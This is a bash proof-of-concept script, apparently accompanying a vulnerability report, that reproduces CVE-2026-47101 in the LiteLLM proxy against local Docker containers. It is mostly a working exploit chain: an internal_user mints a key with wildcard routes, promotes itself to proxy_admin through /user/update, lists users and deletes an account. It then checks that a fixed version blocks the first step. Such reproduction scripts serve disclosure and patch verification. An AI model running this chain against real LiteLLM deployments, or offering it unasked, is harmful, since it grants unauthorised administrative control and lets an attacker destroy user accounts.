#!/usr/bin/env bash
#
# demo.sh — CVE-2026-47101 LiteLLM Privilege Escalation (internal_user → proxy_admin)
#
# One-click reproduction covering report sections 5.1 through 6.2:
#   5.1  — Start vulnerable LiteLLM container (v1.82.6, pinned by digest)
#   5.2  — Confirm service via docker logs
#   5.3  — Create internal_user account via /user/new
#   5.4  — Step 1: Generate API key with wildcard allowed_routes ["/*"]
#   5.5  — Step 2: Escalate to proxy_admin via /user/update
#   5.6  — Step 3: Verify admin access via /user/list
#   5.7  — Extension: Delete admin user directly via /user/delete
#   6.1  — Start fixed version (v1.83.14-stable)
#   6.2  — Verify fix: attempt key generation (expected: blocked)
#
# Usage:
#   bash demo.sh              # full 5.1→6.2 reproduction (both versions)
#   bash demo.sh --keep       # keep containers running after demo
#

set -euo pipefail

cd "$(dirname "$0")"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

info()  { echo -e "${BLUE}[*]${NC} $*"; }
pass()  { echo -e "${GREEN}[PASS]${NC} $*"; }
fail()  { echo -e "${RED}[FAIL]${NC} $*"; }
warn()  { echo -e "${YELLOW}[!]${NC} $*"; }
banner(){ echo -e "\n${GREEN}████████${NC} $* ${GREEN}████████${NC}\n"; }

MASTER_KEY="sk-litellm-master-key"
KEEP=0

cleanup() {
    if [ "$KEEP" != "1" ]; then
        info "Cleaning up containers..."
        docker compose down --remove-orphans 2>/dev/null || true
        docker rm -f litellm-privesc litellm-privesc-fixed litellm-privesc-db 2>/dev/null || true
    else
        info "Keeping containers running (--keep)."
    fi
}

remove_existing_containers() {
    docker compose down --remove-orphans 2>/dev/null || true
    for c in "$@"; do docker rm -f "$c" 2>/dev/null || true; done
}

wait_for_litellm() {
    local url="$1"
    local timeout="${2:-120}"
    info "Waiting for LiteLLM at $url (timeout: ${timeout}s) ..."
    for i in $(seq 1 "$timeout"); do
        if curl -sf "$url" >/dev/null 2>&1; then
            pass "LiteLLM is ready!"
            return 0
        fi
        if curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null | grep -q "401"; then
            pass "LiteLLM is ready (auth required)!"
            return 0
        fi
        sleep 2
    done
    fail "LiteLLM did not become ready within ${timeout}s"
    return 1
}

# Create an internal_user and get their API key
create_internal_user() {
    local target="$1"
    info "Creating internal_user account..."

    local resp
    resp=$(curl -s -X POST "$target/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1) || true

    local user_id
    user_id=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "")

    local user_key
    user_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$user_id" ] && [ -n "$user_key" ]; then
        pass "Internal user created!"
        info "  User ID:   $user_id"
        info "  API Key:   ${user_key:0:32}..."
        # Save for later steps
        echo "$user_id" > /tmp/cve47101_user_id.txt
        echo "$user_key" > /tmp/cve47101_user_key.txt
        return 0
    else
        warn "Could not parse user creation response."
        info "Response: $(echo "$resp" | head -c 300)"
        return 1
    fi
}

# Step 1: Generate a key with wildcard allowed_routes
step1_generate_wildcard_key() {
    local target="$1"
    local internal_key="$2"

    info "Step 1: Generating key with allowed_routes: [\"/*\"]"
    info "Using internal_user API key..."

    local resp
    resp=$(curl -s -X POST "$target/key/generate" \
        -H "Authorization: Bearer $internal_key" \
        -H "Content-Type: application/json" \
        -d '{"allowed_routes": ["/*"]}' 2>&1) || true

    local new_key
    new_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$new_key" ]; then
        pass "Key with wildcard routes generated!"
        info "  New API Key: ${new_key:0:48}..."
        echo "$new_key" > /tmp/cve47101_wildcard_key.txt
        return 0
    else
        resp_code=$(echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('error',d.get('detail',str(d))))" 2>/dev/null || echo "$resp")
        warn "Key generation failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 2: Escalate to proxy_admin
step2_escalate_to_admin() {
    local target="$1"
    local wildcard_key="$2"
    local user_id="$3"

    info "Step 2: Escalating user '$user_id' to proxy_admin..."

    local resp
    resp=$(curl -s -X POST "$target/user/update" \
        -H "Authorization: Bearer $wildcard_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_id\": \"$user_id\", \"user_role\": \"proxy_admin\"}" 2>&1) || true

    local new_role
    new_role=$(echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('data',{}).get('user_role','unknown'))" 2>/dev/null || echo "unknown")

    if echo "$resp" | grep -q "user_id"; then
        pass "Privilege escalation successful!"
        info "  New role: $new_role"
        return 0
    else
        warn "Escalation may have failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 3: Verify admin access
step3_verify_admin() {
    local target="$1"
    local wildcard_key="$2"

    info "Step 3: Verifying admin access (listing users via /user/list)..."

    local resp
    resp=$(curl -s -X GET "$target/user/list" \
        -H "Authorization: Bearer $wildcard_key" \
        -H "Content-Type: application/json" 2>&1) || true

    if echo "$resp" | grep -q "users\|user_id"; then
        pass "Admin access confirmed!"
        info "User list:"
        echo "$resp" | python3 -c "
import sys, json
data = json.load(sys.stdin)
users = data if isinstance(data, list) else data.get('users', [])
for u in users[:5]:
    uid = u.get('user_id', '?')
    role = u.get('user_role', u.get('role', '?'))
    print(f'    - {uid} (role: {role})')
" 2>/dev/null || echo "$resp" | head -c 300
        return 0
    else
        warn "Admin verification incomplete. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Section 5.7 Extension: Delete a user directly
step_extension_delete_user() {
    local target="$1"
    local wildcard_key="$2"
    local user_id="$3"

    echo ""
    info "Section 5.7 Extension: Deleting user '$user_id' via /user/delete..."

    local resp
    resp=$(curl -s -X POST "$target/user/delete" \
        -H "Authorization: Bearer $wildcard_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_ids\": [\"$user_id\"]}" 2>&1) || true

    if [ "$resp" = "1" ] || echo "$resp" | grep -q "success\|deleted"; then
        pass "User deleted via /user/delete — arbitrary user deletion confirmed!"
    else
        warn "Delete response: $(echo "$resp" | head -c 200)"
    fi
}

main() {
    while [[ $# -gt 0 ]]; do
        case "$1" in
            --keep)  KEEP=1; shift ;;
            *)       warn "Unknown option: $1"; shift ;;
        esac
    done

    trap cleanup EXIT

    clear
    echo ""
    echo "  ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██╗██╗   ██╗"
    echo " ██╔════╝██║   ██║██╔════╝    ██╔══██╗██╔══██╗██║██║   ██║"
    echo " ██║     ██║   ██║█████╗      ██████╔╝██████╔╝██║██║   ██║"
    echo " ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝"
    echo " ╚██████╗ ╚████╔╝ ███████╗    ██║     ██║  ██║██║ ╚████╔╝"
    echo "  ╚═════╝  ╚═══╝  ╚══════╝    ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝"
    echo ""
    echo "  CVE-2026-47101 — Privilege Escalation via /key/generate + /user/update"
    echo "  CVSS 8.8 | Affected: <1.83.14 | Fixed: v1.83.14+"
    echo "  Attack: internal_user → proxy_admin via wildcard allowed_routes"
    echo "  Reproduction: Sections 5.1 through 6.2"
    echo ""

    # ============================================================
    # Section 5.1: Start vulnerable LiteLLM container
    # ============================================================
    banner "Section 5.1: Starting vulnerable LiteLLM (v1.82.6)"
    remove_existing_containers litellm-privesc litellm-privesc-db
    docker compose up -d litellm
    info "Container: litellm-privesc (port 4000)"
    echo ""

    # ============================================================
    # Section 5.2: Confirm service running (docker logs)
    # ============================================================
    banner "Section 5.2: Confirming service running"
    info "Waiting for container to start, then showing logs..."
    sleep 5
    info "--- docker logs litellm-privesc (last 10 lines) ---"
    docker logs litellm-privesc 2>&1 | tail -10
    echo ""

    # ============================================================
    # Section 5.3: Create internal_user account
    # ============================================================
    banner "Section 5.3: Creating internal_user account"
    wait_for_litellm "http://localhost:4000" 60
    create_internal_user "http://localhost:4000"
    echo ""

    # Read saved credentials
    local INTERNAL_USER_ID
    local INTERNAL_USER_KEY
    INTERNAL_USER_ID=$(cat /tmp/cve47101_user_id.txt 2>/dev/null || echo "")
    INTERNAL_USER_KEY=$(cat /tmp/cve47101_user_key.txt 2>/dev/null || echo "")

    if [ -z "$INTERNAL_USER_KEY" ]; then
        fail "No internal user key available. Aborting."
        exit 1
    fi

    # ============================================================
    # Section 5.4: Step 1 — Generate key with wildcard routes
    # ============================================================
    banner "Section 5.4: Step 1 — Generating key with wildcard allowed_routes"
    info "Vulnerability: /key/generate does NOT validate allowed_routes against user's role"
    info "An internal_user can request admin-level routes like [\"/*\"]"
    echo ""
    step1_generate_wildcard_key "http://localhost:4000" "$INTERNAL_USER_KEY"
    echo ""

    local WILDCARD_KEY
    WILDCARD_KEY=$(cat /tmp/cve47101_wildcard_key.txt 2>/dev/null || echo "")

    if [ -z "$WILDCARD_KEY" ]; then
        fail "No wildcard key generated. The vulnerability may not exist in this version."
        exit 1
    fi

    # ============================================================
    # Section 5.5: Step 2 — Escalate to proxy_admin
    # ============================================================
    banner "Section 5.5: Step 2 — Escalating to proxy_admin via /user/update"
    info "Vulnerability: /user/update allows self-modification of user_role"
    info "Using wildcard key to bypass route authorization"
    echo ""
    step2_escalate_to_admin "http://localhost:4000" "$WILDCARD_KEY" "$INTERNAL_USER_ID"

    # ============================================================
    # Section 5.6: Step 3 — Verify admin access
    # ============================================================
    banner "Section 5.6: Step 3 — Verifying admin access"
    step3_verify_admin "http://localhost:4000" "$WILDCARD_KEY"

    # ============================================================
    # Section 5.7: Extension — Delete admin user
    # ============================================================
    echo ""
    banner "Section 5.7: Extension — Arbitrary user deletion"
    info "With wildcard routes access, /user/delete has zero auth checks"
    step_extension_delete_user "http://localhost:4000" "$WILDCARD_KEY" "$INTERNAL_USER_ID"

    # ============================================================
    # Section 6: Fixed version comparison
    # ============================================================
    echo ""
    banner "Section 6.1: Starting fixed version (v1.83.14-stable)"
    remove_existing_containers litellm-privesc-fixed
    docker compose --profile fixed up -d litellm-fixed
    wait_for_litellm "http://localhost:4001" 60

    echo ""
    banner "Section 6.2: Verifying fix (expected: blocked)"
    info "Fixed version validates allowed_routes against user's role."
    info "Internal_user should NOT be able to grant wildcard routes."

    # Need to create internal_user on fixed version too
    FIXED_USER_KEY=$(curl -s -X POST "http://localhost:4001/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1 | \
        python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$FIXED_USER_KEY" ]; then
        local fixed_resp
        fixed_resp=$(curl -s -X POST "http://localhost:4001/key/generate" \
            -H "Authorization: Bearer $FIXED_USER_KEY" \
            -H "Content-Type: application/json" \
            -d '{"allowed_routes": ["/*"]}' 2>&1) || true

        if echo "$fixed_resp" | grep -q "error\|denied\|forbidden\|not allowed"; then
            pass "[FIXED] Key generation with wildcard routes correctly blocked!"
        else
            warn "Fixed version response: $(echo "$fixed_resp" | head -c 200)"
        fi
    else
        warn "Could not create internal_user on fixed version."
    fi

    echo ""
    echo "  ==============================================="
    pass "Reproduction complete! (Sections 5.1 — 6.2)"
    echo "  Vulnerable:   http://localhost:4000  — PRIVESC CONFIRMED"
    echo "  Fixed:        http://localhost:4001  — PRIVESC BLOCKED"
    echo "  ==============================================="
    echo ""
    echo "  Attack chain:"
    echo "    1. internal_user  →  /key/generate  →  key with allowed_routes: [\"/*\"]"
    echo "    2. new key        →  /user/update   →  user_role: proxy_admin"
    echo "    3. proxy_admin    →  /user/list     →  full admin access confirmed"
    echo ""
    echo "  Root cause: Missing authorization checks in 3 locations:"
    echo "    - /key/generate  accepts allowed_routes without role validation"
    echo "    - Route check falls through to allowed_routes wildcard matching"
    echo "    - /user/update  allows self-modification of user_role field"
    echo ""
}

main "$@"